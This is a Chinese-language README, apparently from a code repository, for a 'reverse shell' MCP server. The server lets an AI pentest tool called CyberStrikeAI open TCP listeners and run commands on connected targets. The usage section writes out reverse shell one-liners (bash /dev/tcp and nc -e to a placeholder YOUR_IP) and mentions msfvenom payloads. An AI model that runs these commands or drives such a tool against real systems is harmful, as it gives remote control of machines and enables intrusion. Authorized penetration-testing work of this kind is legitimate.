Files
2026-03-17 20:17:27 +08:00

2.8 KiB
Raw Permalink Blame History

反向 Shell MCP

English

通过外部 MCP 为 CyberStrikeAI 增加反向 Shell 能力:开启/停止 TCP 监听、与已连接目标交互执行命令,无需修改后端代码

工具说明

工具 说明
reverse_shell_start_listener 在指定端口启动 TCP 监听,等待目标机反向连接。
reverse_shell_stop_listener 停止监听并断开当前客户端。
reverse_shell_status 查看状态:是否监听、端口、是否已连接及客户端地址。
reverse_shell_send_command 向已连接的反向 Shell 发送命令并返回输出。
reverse_shell_disconnect 仅断开当前客户端,不停止监听(可继续等待新连接)。

依赖

  • Python 3.10+
  • 使用项目自带 venv 时已包含 mcp;单独运行需:pip install mcp

在 CyberStrikeAI 中接入

  1. 路径
    例如项目根为 /path/to/CyberStrikeAI-main,则脚本路径为:
    /path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py

  2. Web 界面设置外部 MCP添加外部 MCP,填入以下 JSON将路径替换为你的实际路径

{
  "reverse-shell": {
    "command": "/path/to/CyberStrikeAI-main/venv/bin/python3",
    "args": ["/path/to/CyberStrikeAI-main/mcp-servers/reverse_shell/mcp_reverse_shell.py"],
    "description": "反向 Shell开启/停止监听、与目标交互执行命令",
    "timeout": 60,
    "external_mcp_enable": true
  }
}
  • command:建议使用项目 venv 中的 Python或系统 python3
  • args必须使用绝对路径 指向 mcp_reverse_shell.py
  • 保存后点击该 MCP 的 启动,即可在对话中通过 AI 调用上述工具。
  1. 使用流程示例
    • 调用 reverse_shell_start_listener(4444) 在 4444 端口开始监听。
    • 在目标机上执行反向连接,例如:
      • Linux: bash -i >& /dev/tcp/YOUR_IP/4444 0>&1nc -e /bin/sh YOUR_IP 4444
      • 或使用 msfvenom 生成 payload 等。
    • 连接成功后,用 reverse_shell_send_command("id")reverse_shell_send_command("whoami") 等与目标交互。
    • 需要时用 reverse_shell_status 查看状态,用 reverse_shell_disconnect 仅断开客户端,用 reverse_shell_stop_listener 完全停止监听。

本地单独运行(可选)

# 在项目根目录,使用 venv
./venv/bin/python mcp-servers/reverse_shell/mcp_reverse_shell.py

进程通过 stdio 与 MCP 客户端通信CyberStrikeAI 以 stdio 方式启动该脚本时行为相同。

安全提示

  • 仅在有授权、隔离的测试环境中使用。
  • 监听在 0.0.0.0,若端口对外暴露存在风险,请通过防火墙或网络策略限制访问。